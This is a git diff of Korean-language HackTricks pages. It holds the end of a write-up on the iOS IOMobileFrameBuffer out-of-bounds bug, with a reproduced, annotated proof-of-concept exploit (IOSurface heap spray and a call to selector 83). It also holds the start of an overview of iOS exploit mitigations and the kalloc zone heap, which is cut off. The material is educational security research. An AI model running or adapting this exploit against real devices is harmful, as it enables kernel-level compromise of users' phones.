์‚ฌ์šฉํ•ด ๋‹จ์ˆœํžˆ **ํ•ฉ๋ฒ• ๋ฒ”์œ„๋ฅผ ํ›จ์”ฌ ๋ฒ—์–ด๋‚˜** IOSurface ํฌ์ธํ„ฐ๋“ค๋กœ **์กฐ๋ฐ€ํ•˜๊ฒŒ ์ฑ„์šฐ๋ ค ํ•œ ์˜์—ญ**์œผ๋กœ ๋“ค์–ด๊ฐ‘๋‹ˆ๋‹ค. **์Šคํ”„๋ ˆ์ด๊ฐ€ "์ด๊ธฐ๋ฉด", ๋‹น์‹ ์ด ๊ฑด๋“œ๋ฆฐ ์Šฌ๋กฏ์€ ์œ ํšจํ•œ `IOSurface*`์ž…๋‹ˆ๋‹ค.** + +4. **selector 83์ด ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฒƒ (์ด ๋ถ€๋ถ„์ด ๋ฏธ๋ฌ˜ํ•จ)** + +- ํ˜ธ์ถœ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค: + +`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, +output_scalars, &output_scalars_size, NULL, NULL);`o + +- ๋‚ด๋ถ€์ ์œผ๋กœ, OOB ํฌ์ธํ„ฐ ์กฐํšŒ ์ดํ›„ ๋“œ๋ผ์ด๋ฒ„๋Š”\ +**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค. + +- **๊ฒฐ๊ณผ:** **`output_scalars[0]`๋Š” ๋‹น์‹ ์˜ ํƒœ์Šคํฌ์—์„œ์˜ Mach ํฌํŠธ ์ด๋ฆ„(u32 ํ•ธ๋“ค)**๋กœ, OOB๋ฅผ ํ†ตํ•ด ์ „๋‹ฌ๋œ ๊ฐ์ฒด ํฌ์ธํ„ฐ์— ๋Œ€์‘ํ•ฉ๋‹ˆ๋‹ค. **์ด๊ฒƒ์€ ์›์‹œ ์ปค๋„ ์ฃผ์†Œ์˜ leak๊ฐ€ ์•„๋‹ˆ๋ผ, ์œ ์ €์ŠคํŽ˜์ด์Šค ํ•ธ๋“ค(send right)์ž…๋‹ˆ๋‹ค.** ์ด ์ •ํ™•ํ•œ ๋™์ž‘(ํฌํŠธ ์ด๋ฆ„์„ ๋ณต์‚ฌํ•˜๋Š” ๊ฒƒ)์€ Saar์˜ ๋””์ปดํŒŒ์ผ์—์„œ ํ™•์ธ๋ฉ๋‹ˆ๋‹ค. + +**์™œ ์œ ์šฉํ•œ๊ฐ€:** (๊ฐ€์งœ) IOSurface์— ๋Œ€ํ•œ **ํฌํŠธ ์ด๋ฆ„**์„ ์–ป์œผ๋ฉด, ์ด์ œ ๋‹ค์Œ ๊ฐ™์€ IOSurfaceRoot ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: + +- **`s_lookup_surface_from_port` (method 34)** โ†’ ํฌํŠธ๋ฅผ surface ID๋กœ ๋ฐ”๊ฟ” ๋‹ค๋ฅธ IOSurface ํ˜ธ์ถœ๋กœ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๊ณ , +- **`s_create_port_from_surface` (method 35)** โ†’ ํ•„์š”ํ•˜๋ฉด ๊ทธ ๋ฐ˜๋Œ€๋„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.\ +Saar๋Š” ๋‹ค์Œ ๋‹จ๊ณ„๋กœ ์ •ํ™•ํžˆ ์ด ๋ฉ”์„œ๋“œ๋“ค์„ ์ง€๋ชฉํ•ฉ๋‹ˆ๋‹ค. **PoC๋Š” OOB ์Šฌ๋กฏ์—์„œ ํ•ฉ๋ฒ•์ ์ธ IOSurface ํ•ธ๋“ค์„ "๋งŒ๋“ค์–ด๋‚ผ" ์ˆ˜ ์žˆ์Œ์„ ์ฆ๋ช…ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com) + +์ด [PoC๋Š” ์—ฌ๊ธฐ์—์„œ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) โ€” ๋‹จ๊ณ„ ์„ค๋ช…์„ ์œ„ํ•ด ๋ช‡ ๊ฐ€์ง€ ์ฃผ์„์„ ์ถ”๊ฐ€ํ–ˆ์Šต๋‹ˆ๋‹ค: +```c +#include "exploit.h" + +// Open the AppleCLCD (aka IOMFB) user client so we can call external methods. +io_connect_t get_appleclcd_uc(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; +int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. โญ +// (AppleCLCD and IOMobileFramebuffer share the same external methods table.) + +// Find the **AppleCLCD** service in the IORegistry. +io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, +IOServiceMatching("AppleCLCD")); +if(service == MACH_PORT_NULL) { +printf("[-] failed to open service\n"); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD service: 0x%x\n", service); + +// Open a user client connection to AppleCLCD with the chosen **type**. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if(ret != KERN_SUCCESS) { +printf("[-] failed to open userclient: %s\n", mach_error_string(ret)); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn); +return shared_user_client_conn; +} + +// Trigger the OOB index path of external method #83. +// The 'offset' you pass is in bytes; dividing by 8 converts it to the +// index of an 8-byte pointer slot in the internal table at (this + 0xA58). +uint64_t trigger_oob(uint64_t offset) { +kern_return_t ret; + +// The method takes a single 32-bit scalar that it uses as an index. +uint64_t scalars[1] = { 0x0 }; +scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. โญ + +// #83 returns one scalar. In this flow it will be the Mach port name +// (a u32 handle in our task), not a kernel pointer. +uint64_t output_scalars[1] = { 0 }; +uint32_t output_scalars_size = 1; + +io_connect_t appleclcd_uc = get_appleclcd_uc(); +if (appleclcd_uc == MACH_PORT_NULL) { +return 0; +} + +// Call external method 83. Internally: +// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch +// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out) +// which creates a send right for that object and writes its port name +// into output_scalars[0]. If ptr is junk โ†’ deref/panic (DoS). +ret = IOConnectCallMethod(appleclcd_uc, 83, +scalars, 1, +NULL, 0, +output_scalars, &output_scalars_size, +NULL, NULL); + +if (ret != KERN_SUCCESS) { +printf("[-] external method 83 failed: %s\n", mach_error_string(ret)); +return 0; +} + +// This is the key: you get back a Mach port name (u32) to whatever +// object was at that OOB slot (ideally an IOSurface you sprayed). +printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]); +return output_scalars[0]; +} + +// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a +// real IOSurface (easier & stabler than a fully fake object). +bool do_spray(void) { +char data[0x10]; +memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying. + +// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +printf("[-] do_spray: failed to allocate new iosurface_uc\n"); +return false; +} + +// Create many IOSurfaces and use set_value / value spray helpers +// (Brandon Azad-style) to fan out allocations in kalloc. โญ +int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int)); +for (size_t i = 0; i < SURFACES_COUNT; ++i) { +surface_ids[i] = create_surface(iosurface_uc); // s_create_surface +if (surface_ids[i] <= 0) { +return false; +} + +// Spray small values repeatedly: tends to allocate/fill predictable +// kalloc regions near where the IOMFB table OOB will read from. +// The โ€œwith_gcโ€ flavor forces periodic GC to keep memory moving/packed. +if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i], +20, 200, // rounds, per-round items +data, sizeof(data), +NULL) == false) { +printf("iosurface spray failed\n"); +return false; +} +} +return true; +} + +int main(void) { +// Ensure we can talk to IOSurfaceRoot (some helpers depend on it). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +return 0; +} + +printf("[*] do spray\n"); +if (do_spray() == false) { +printf("[-] shape failed, abort\n"); +return 1; +} +printf("[*] spray success\n"); + +// Trigger the OOB read. The magic constant chooses a pointer-slot +// far beyond the legit array (offset is in bytes; index = offset/8). +// If the spray worked, this returns a **Mach port name** (handle) to one +// of your sprayed IOSurfaces; otherwise it may crash. +printf("[*] trigger\n"); +trigger_oob(0x1200000 + 0x1048); +return 0; +} +``` +## ์ฐธ๊ณ ์ž๋ฃŒ +- [Saar Amar์˜ ์›๋ฌธ](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/) +- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC) +- [jsherman212์˜ ์—ฐ๊ตฌ](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/README.md b/src/binary-exploitation/ios-exploiting/README.md new file mode 100644 index 000000000..7cd1df6f3 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/README.md @@ -0,0 +1,268 @@ +# iOS Exploiting + +{{#include ../../banners/hacktricks-training.md}} + +## iOS Exploit Mitigations + +- **Code Signing** in iOS๋Š” ์•ฑ, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ, ์ต์Šคํ…์…˜ ๋“ฑ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  ์ฝ”๋“œ์— ๋Œ€ํ•ด Apple์ด ๋ฐœ๊ธ‰ํ•œ ์ธ์ฆ์„œ๋กœ ์•”ํ˜ธํ•™์  ์„œ๋ช…์„ ์š”๊ตฌํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค. ์ฝ”๋“œ๊ฐ€ ๋กœ๋“œ๋  ๋•Œ iOS๋Š” Apple์˜ ์‹ ๋ขฐ ๋ฃจํŠธ์— ๋Œ€ํ•ด ๋””์ง€ํ„ธ ์„œ๋ช…์„ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค. ์„œ๋ช…์ด ์œ ํšจํ•˜์ง€ ์•Š๊ฑฐ๋‚˜, ์—†๊ฑฐ๋‚˜, ๋ณ€๊ฒฝ๋œ ๊ฒฝ์šฐ OS๋Š” ์‹คํ–‰์„ ๊ฑฐ๋ถ€ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ •์ƒ ์•ฑ์— ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๊ฑฐ๋‚˜ ์„œ๋ช…๋˜์ง€ ์•Š์€ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜์—ฌ ์ž„์˜ ๋˜๋Š” ๋ณ€์กฐ๋œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๋Œ€๋ถ€๋ถ„์˜ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฒด์ธ์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. +- **CoreTrust**๋Š” ๋Ÿฐํƒ€์ž„์—์„œ code signing์„ ๊ฐ•์ œํ•˜๋Š” iOS ์„œ๋ธŒ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. CoreTrust๋Š” ์บ์‹œ๋œ ์‹ ๋ขฐ ์ €์žฅ์†Œ์— ์˜์กดํ•˜์ง€ ์•Š๊ณ  Apple์˜ ๋ฃจํŠธ ์ธ์ฆ์„œ๋ฅผ ์‚ฌ์šฉํ•ด ์ง์ ‘ ์„œ๋ช…์„ ๊ฒ€์ฆํ•˜๋ฏ€๋กœ Apple์ด ์„œ๋ช…ํ–ˆ๊ฑฐ๋‚˜ ์œ ํšจํ•œ entitlements๋ฅผ ๊ฐ€์ง„ ๋ฐ”์ด๋„ˆ๋ฆฌ๋งŒ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. CoreTrust๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์„ค์น˜ ํ›„ ์•ฑ์„ ๋ณ€์กฐํ•˜๊ฑฐ๋‚˜ ์‹œ์Šคํ…œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์ˆ˜์ •ํ•˜๊ณ  ์„œ๋ช…๋˜์ง€ ์•Š์€ ์ฝ”๋“œ๋ฅผ ๋กœ๋“œํ•˜๋ ค ํ•ด๋„, ์ฝ”๋“œ๊ฐ€ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์„œ๋ช…๋˜์–ด ์žˆ์ง€ ์•Š์œผ๋ฉด ์‹œ์Šคํ…œ์ด ์‹คํ–‰์„ ์ฐจ๋‹จํ•˜๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์—„๊ฒฉํ•œ ์ ์šฉ์€ ์ด์ „ iOS ๋ฒ„์ „์—์„œ ์•ฝํ•˜๊ฑฐ๋‚˜ ์šฐํšŒ ๊ฐ€๋Šฅํ•œ ์„œ๋ช… ๊ฒ€์‚ฌ๋กœ ํ—ˆ์šฉ๋˜๋˜ ๋งŽ์€ ์‚ฌํ›„ ์ต์Šคํ”Œ๋กœ์ž‡ ๋ฒกํ„ฐ๋ฅผ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. +- **Data Execution Prevention (DEP)**๋Š” ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์„ ๋ช…์‹œ์ ์œผ๋กœ ์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์ง€ ์•Š๋Š” ํ•œ ๋น„์‹คํ–‰(executable)์œผ๋กœ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์Šคํƒ์ด๋‚˜ ํž™ ๊ฐ™์€ ๋ฐ์ดํ„ฐ ์˜์—ญ์— shellcode๋ฅผ ์ฃผ์ž…ํ•ด ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์„ ๋ง‰์•„ ROP(Return-Oriented Programming) ๊ฐ™์€ ๋” ๋ณต์žกํ•œ ๊ธฐ๋ฒ•์— ์˜์กดํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. +- **ASLR (Address Space Layout Randomization)**๋Š” ์ฝ”๋“œ, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ, ์Šคํƒ, ํž™์˜ ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋ฅผ ๋งค๋ฒˆ ์‹œ์Šคํ…œ ์‹คํ–‰ ์‹œ ๋ฌด์ž‘์œ„ํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์œ ์šฉํ•œ ๋ช…๋ น์ด๋‚˜ ๊ฐ€์ ฏ์˜ ์œ„์น˜๋ฅผ ์˜ˆ์ธกํ•˜๊ธฐ ์–ด๋ ต๊ฒŒ ๋งŒ๋“ค์–ด ๊ณ ์ •๋œ ๋ฉ”๋ชจ๋ฆฌ ๋ ˆ์ด์•„์›ƒ์— ์˜์กดํ•˜๋Š” ๋งŽ์€ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฒด์ธ์„ ๊นจ๋œจ๋ฆฝ๋‹ˆ๋‹ค. +- **KASLR (Kernel ASLR)**๋Š” ๋™์ผํ•œ ๋ฌด์ž‘์œ„ํ™” ๊ฐœ๋…์„ iOS ์ปค๋„์— ์ ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋ถ€ํŒ…๋งˆ๋‹ค ์ปค๋„์˜ ๋ฒ ์ด์Šค ์ฃผ์†Œ๋ฅผ ์„ž์Œ์œผ๋กœ์จ ๊ณต๊ฒฉ์ž๊ฐ€ ์ปค๋„ ํ•จ์ˆ˜๋‚˜ ๊ตฌ์กฐ์ฒด์˜ ์œ„์น˜๋ฅผ ์‹ ๋ขฐ์„ฑ ์žˆ๊ฒŒ ์ฐพ๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜์—ฌ ์ปค๋„ ์ˆ˜์ค€ ์ต์Šคํ”Œ๋กœ์ž‡์˜ ๋‚œ์ด๋„๋ฅผ ๋†’์ž…๋‹ˆ๋‹ค. +- **Kernel Patch Protection (KPP)** (iOS์—์„œ๋Š” **AMCC (Apple Mobile File Integrity)** ๋ผ๊ณ ๋„ ํ•จ)๋Š” ์ปค๋„์˜ ์ฝ”๋“œ ํŽ˜์ด์ง€๊ฐ€ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š์•˜๋Š”์ง€ ์ง€์†์ ์œผ๋กœ ๋ชจ๋‹ˆํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค. ์ต์Šคํ”Œ๋กœ์ž‡์ด ์ปค๋„ ํ•จ์ˆ˜๋ฅผ ํŒจ์น˜ํ•˜๊ฑฐ๋‚˜ ์•…์„ฑ ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•˜๋ ค๋Š” ์‹œ๋„๊ฐ€ ๊ฐ์ง€๋˜๋ฉด ์žฅ์น˜๋Š” ์ฆ‰์‹œ panic ์ƒํƒœ๊ฐ€ ๋˜์–ด ์žฌ๋ถ€ํŒ…๋ฉ๋‹ˆ๋‹ค. ์ด ๋ณดํ˜ธ ๊ธฐ๋Šฅ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ๋‹จ์ˆœํžˆ ์ปค๋„ ๋ช…๋ น์„ ํ›„ํ‚นํ•˜๊ฑฐ๋‚˜ ํŒจ์น˜ํ•˜์—ฌ ์ง€์†์„ฑ์„ ์–ป๋Š” ๊ฒƒ์„ ํ›จ์”ฌ ์–ด๋ ต๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. +- **Kernel Text Readonly Region (KTRR)**๋Š” iOS ์žฅ์น˜์— ๋„์ž…๋œ ํ•˜๋“œ์›จ์–ด ๊ธฐ๋ฐ˜ ๋ณด์•ˆ ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค. CPU์˜ ๋ฉ”๋ชจ๋ฆฌ ์ปจํŠธ๋กค๋Ÿฌ๋ฅผ ์‚ฌ์šฉํ•ด ๋ถ€ํŒ… ์ดํ›„์— ์ปค๋„์˜ ์ฝ”๋“œ(text) ์„น์…˜์„ ์˜๊ตฌ์ ์œผ๋กœ ์ฝ๊ธฐ ์ „์šฉ์œผ๋กœ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. ์ผ๋‹จ ์ž ๊ธฐ๋ฉด ์ปค๋„ ์ž์ฒด์กฐ์ฐจ ์ด ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๊ณต๊ฒฉ์ž๋‚˜ ๊ถŒํ•œ ์žˆ๋Š” ์ฝ”๋“œ์กฐ์ฐจ ๋Ÿฐํƒ€์ž„์— ์ปค๋„ ๋ช…๋ น์„ ํŒจ์น˜ํ•˜๋Š” ๊ฒƒ์„ ๋ง‰์•„ ์ง์ ‘ ์ปค๋„ ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•˜๋˜ ์ฃผ์š” ํด๋ž˜์Šค์˜ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. +- **Pointer Authentication Codes (PAC)**๋Š” ํฌ์ธํ„ฐ์˜ ์‚ฌ์šฉ ์ „์— ๋ฌด๊ฒฐ์„ฑ์„ ๊ฒ€์ฆํ•˜๊ธฐ ์œ„ํ•ด ํฌ์ธํ„ฐ์˜ ๋‚จ๋Š” ๋น„ํŠธ์— ์•”ํ˜ธํ™” ์„œ๋ช…์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ํฌ์ธํ„ฐ(์˜ˆ: ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋‚˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ)๊ฐ€ ์ƒ์„ฑ๋  ๋•Œ CPU๊ฐ€ ๋น„๋ฐ€ ํ‚ค๋กœ ์„œ๋ช…ํ•˜๊ณ , ์—ญ์ฐธ์กฐํ•˜๊ธฐ ์ „์— CPU๊ฐ€ ์„œ๋ช…์„ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค. ํฌ์ธํ„ฐ๊ฐ€ ๋ณ€์กฐ๋˜์—ˆ๋‹ค๋ฉด ๊ฒ€์‚ฌ๊ฐ€ ์‹คํŒจํ•˜๊ณ  ์‹คํ–‰์ด ์ค‘๋‹จ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ ์†์ƒ ์ต์Šคํ”Œ๋กœ์ž‡์—์„œ ํฌ์ธํ„ฐ๋ฅผ ์œ„์กฐํ•˜๊ฑฐ๋‚˜ ์žฌ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜์—ฌ ROP๋‚˜ JOP ๊ฐ™์€ ๊ธฐ๋ฒ•์„ ์•ˆ์ •์ ์œผ๋กœ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์–ด๋ ต๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. +- **Privilege Access never (PAN)**๋Š” ์ปค๋„(ํŠน๊ถŒ ๋ชจ๋“œ)์ด ๋ช…์‹œ์ ์œผ๋กœ ์ ‘๊ทผ์„ ํ™œ์„ฑํ™”ํ•˜์ง€ ์•Š๋Š” ํ•œ ์‚ฌ์šฉ์ž ๊ณต๊ฐ„ ๋ฉ”๋ชจ๋ฆฌ์— ์ง์ ‘ ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๋Š” ํ•˜๋“œ์›จ์–ด ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค. ์ด๋Š” ์ปค๋„ ์ฝ”๋“œ ์‹คํ–‰์„ ํš๋“ํ•œ ๊ณต๊ฒฉ์ž๊ฐ€ ์‚ฌ์šฉ์ž ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ์‰ฝ๊ฒŒ ์ฝ๊ฑฐ๋‚˜ ์จ์„œ ๊ถŒํ•œ ์ƒ์Šน์„ ํ•˜๊ฑฐ๋‚˜ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ํ›”์น˜๋Š” ๊ฒƒ์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. ์—„๊ฒฉํ•œ ๋ถ„๋ฆฌ๋ฅผ ์‹œํ–‰ํ•จ์œผ๋กœ์จ PAN์€ ์ปค๋„ ์ต์Šคํ”Œ๋กœ์ž‡์˜ ์˜ํ–ฅ์„ ์ค„์ด๊ณ  ๋งŽ์€ ์ผ๋ฐ˜์ ์ธ ๊ถŒํ•œ ์ƒ์Šน ๊ธฐ๋ฒ•์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. +- **Page Protection Layer (PPL)**๋Š” ํŠนํžˆ code signing ๋ฐ entitlements์™€ ๊ด€๋ จ๋œ ์ค‘์š”ํ•œ ์ปค๋„ ๊ด€๋ฆฌ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์„ ๋ณดํ˜ธํ•˜๋Š” iOS ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ž…๋‹ˆ๋‹ค. PPL์€ MMU(Memory Management Unit)์™€ ์ถ”๊ฐ€ ๊ฒ€์‚ฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์—„๊ฒฉํ•œ ์“ฐ๊ธฐ ๋ณดํ˜ธ๋ฅผ ์‹œํ–‰ํ•˜๋ฏ€๋กœ ๊ถŒํ•œ์ด ์žˆ๋Š” ์ปค๋„ ์ฝ”๋“œ์กฐ์ฐจ ๋ฏผ๊ฐํ•œ ํŽ˜์ด์ง€๋ฅผ ์ž„์˜๋กœ ์ˆ˜์ •ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ปค๋„ ์ˆ˜์ค€ ์‹คํ–‰์„ ํš๋“ํ•œ ๊ณต๊ฒฉ์ž๊ฐ€ ๋ณด์•ˆ์— ์ค‘์š”ํ•œ ๊ตฌ์กฐ์ฒด๋ฅผ ๋ณ€์กฐํ•˜์—ฌ ์ง€์†์„ฑ์„ ํ™•๋ณดํ•˜๊ฑฐ๋‚˜ code-signing์„ ์šฐํšŒํ•˜๋Š” ๊ฒƒ์„ ํ›จ์”ฌ ์–ด๋ ต๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. + +## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era) + +์ปค๋„์€ ๊ณ ์ • ํฌ๊ธฐ์˜ "zones"๋กœ ๋‚˜๋‰œ **zone allocator** (`kalloc`)๋ฅผ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค. +๊ฐ zone์€ ๋‹จ์ผ ํฌ๊ธฐ ํด๋ž˜์Šค์˜ ํ• ๋‹น๋งŒ ์ €์žฅํ–ˆ์Šต๋‹ˆ๋‹ค. + +From the screenshot: + +| Zone Name | Element Size | Example Use | +|----------------------|--------------|-----------------------------------------------------------------------------| +| `default.kalloc.16` | 16 bytes | ๋งค์šฐ ์ž‘์€ ์ปค๋„ ๊ตฌ์กฐ์ฒด, ํฌ์ธํ„ฐ. | +| `default.kalloc.32` | 32 bytes | ์ž‘์€ ๊ตฌ์กฐ์ฒด, ๊ฐ์ฒด ํ—ค๋”. | +| `default.kalloc.64` | 64 bytes | IPC ๋ฉ”์‹œ์ง€, ์ž‘์€ ์ปค๋„ ๋ฒ„ํผ. | +| `default.kalloc.128` | 128 bytes | `OSObject`์˜ ์ผ๋ถ€ ๊ฐ™์€ ์ค‘๊ฐ„ ํฌ๊ธฐ ๊ฐ์ฒด. | +| `default.kalloc.256` | 256 bytes | ๋” ํฐ IPC ๋ฉ”์‹œ์ง€, ๋ฐฐ์—ด, ๋””๋ฐ”์ด์Šค ๊ตฌ์กฐ์ฒด. | +| โ€ฆ | โ€ฆ | โ€ฆ | +| `default.kalloc.1280`| 1280 bytes | ํฐ ๊ตฌ์กฐ์ฒด, IOSurface/graphics metadata. | + +์ž‘๋™ ๋ฐฉ์‹: +- ๊ฐ ํ• ๋‹น ์š”์ฒญ์€ ๊ฐ€์žฅ ๊ฐ€๊นŒ์šด zone ํฌ๊ธฐ๋กœ **์˜ฌ๋ฆผ(rounded up)** ๋ฉ๋‹ˆ๋‹ค. +(์˜ˆ: 50๋ฐ”์ดํŠธ ์š”์ฒญ์€ `kalloc.64` zone์— ๋ฐฐ์น˜๋ฉ๋‹ˆ๋‹ค). +- ๊ฐ zone์˜ ๋ฉ”๋ชจ๋ฆฌ๋Š” **freelist**์— ๋ณด๊ด€๋˜์—ˆ์Šต๋‹ˆ๋‹ค โ€” ์ปค๋„์ด ํ•ด์ œํ•œ ์ฒญํฌ๋Š” ํ•ด๋‹น zone์œผ๋กœ ๋Œ์•„๊ฐ”์Šต๋‹ˆ๋‹ค. +- 64๋ฐ”์ดํŠธ ๋ฒ„ํผ๋ฅผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐํ•˜๋ฉด ๋™์ผํ•œ zone์˜ **๋‹ค์Œ ๊ฐ์ฒด๋ฅผ ๋ฎ์–ด์“ฐ๊ฒŒ** ๋ฉ๋‹ˆ๋‹ค. + +์ด ๋•Œ๋ฌธ์— **heap spraying / feng shui**๊ฐ€ ๋งค์šฐ ํšจ๊ณผ์ ์ด์—ˆ์Šต๋‹ˆ๋‹ค: ๊ฐ™์€ ํฌ๊ธฐ ํด๋ž˜์Šค์˜ ํ• ๋‹น์„ ๋ฟŒ๋ฆฌ๋ฉด ๊ฐ์ฒด์˜ ์ด์›ƒ์„ ์˜ˆ์ธกํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. + +### The freelist + +๊ฐ kalloc zone ๋‚ด๋ถ€์—์„œ ํ•ด์ œ๋œ ๊ฐ์ฒด๋“ค์€ ์‹œ์Šคํ…œ์— ์ง์ ‘ ๋ฐ˜ํ™˜๋˜์ง€ ์•Š๊ณ  freelist์— ๋“ค์–ด๊ฐ”์Šต๋‹ˆ๋‹ค. freelist๋Š” ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์ฒญํฌ๋“ค์˜ ์—ฐ๊ฒฐ ๋ฆฌ์ŠคํŠธ์˜€์Šต๋‹ˆ๋‹ค. + +- ์ฒญํฌ๊ฐ€ ํ•ด์ œ๋  ๋•Œ, ์ปค๋„์€ ๊ทธ ์ฒญํฌ์˜ ์‹œ์ž‘ ๋ถ€๋ถ„์— ํฌ์ธํ„ฐ๋ฅผ ์ž‘์„ฑํ–ˆ์Šต๋‹ˆ๋‹ค โ†’ ๋™์ผํ•œ zone ๋‚ด์˜ ๋‹ค์Œ ์ž์œ  ์ฒญํฌ์˜ ์ฃผ์†Œ. +- zone์€ ์ฒซ ๋ฒˆ์งธ 